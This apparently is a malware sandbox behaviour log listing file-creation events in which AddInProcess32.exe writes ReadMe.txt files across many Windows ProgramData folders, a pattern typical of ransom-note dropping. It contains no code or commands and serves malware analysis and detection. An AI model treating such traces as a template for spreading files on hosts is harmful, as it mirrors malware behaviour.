                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\DRM\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\IdentityCRL\INT\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\IdentityCRL\production\temp\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\IdentityCRL\production\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\IdentityCRL\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\MapData\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\MF\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\NetFramework\BreadcrumbStore\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\NetFramework\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Network\Connections\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Network\Downloader\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Network\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\OFFICE\Heartbeat\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\OFFICE\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\AssetCache\CellularUx\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\AssetCache\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\Prov\RunTime\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\Prov\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{1e05dd5d-a022-46c5-963c-b20de341170f}\Prov\RunTime\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{1e05dd5d-a022-46c5-963c-b20de341170f}\Prov\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{1e05dd5d-a022-46c5-963c-b20de341170f}\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{23cb517f-5073-4e96-a202-7fe6122a2271}\Prov\RunTime\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{23cb517f-5073-4e96-a202-7fe6122a2271}\Prov\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{23cb517f-5073-4e96-a202-7fe6122a2271}\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\Prov\RunTime\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\Prov\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\Prov\RunTime\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\Prov\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\Prov\RunTime\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\Prov\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\Prov\RunTime\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\Prov\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\Prov\RunTime\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\Prov\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\Prov\RunTime\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\Prov\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{99b095d8-5959-4820-bea7-7448c8427b4e}\Prov\RunTime\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{99b095d8-5959-4820-bea7-7448c8427b4e}\Prov\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{99b095d8-5959-4820-bea7-7448c8427b4e}\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\Prov\RunTime\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\Prov\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\Prov\RunTime\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\Prov\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\Prov\RunTime\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\Prov\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{bf56ce5a-946b-45b5-858a-1794eb0125e2}\Prov\RunTime\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{bf56ce5a-946b-45b5-858a-1794eb0125e2}\Prov\ReadMe.txtJump to behavior
